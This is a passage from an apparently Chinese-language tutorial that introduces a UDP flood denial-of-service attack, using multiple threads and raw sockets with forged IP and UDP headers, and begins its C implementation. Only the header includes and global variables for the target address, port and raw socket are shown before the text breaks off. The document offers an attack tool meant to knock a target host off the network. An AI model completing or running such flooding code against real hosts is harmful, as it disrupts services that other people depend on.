1.介绍
UDP攻击向目标主机的UDP端口发送大量的UDP报文,造成目标主机的端口堵塞,达到攻击的目的。建立多线程,利用原始套接字封装UDP与IP的首部,然后发送UDP报文,攻击目标主机.
2. 实现实例
1 #include <stdio.h>
2 #include <string.h>
3 #include <signal.h>
4 #include <sys/types.h>
5 #include <sys/socket.h>
6 #include <sys/time.h>
7 #include <netdb.h>
8 #include <errno.h>
9 #include <stdlib.h>
10 #include <time.h>
11 #include <unistd.h>
12 #include <string.h>
13 #include <netinet/ip.h>
14 #include <netinet/udp.h>
15 #include <netinet/ip_icmp.h>
16 //#include <pthread.h>
17
18 #define MAXCHILD 128 //最多线程数
19 static unsigned long dest=0; //目的IP地址
20 static int PROTO_UDP =-1; //UDP协议的值
21 static alive=-1; //程序活动标志
22 static int dest_port=0; //目的端口
23 static int rawsock=-1; //原始套接字
24
25 //函数声明
26 static inline long myrand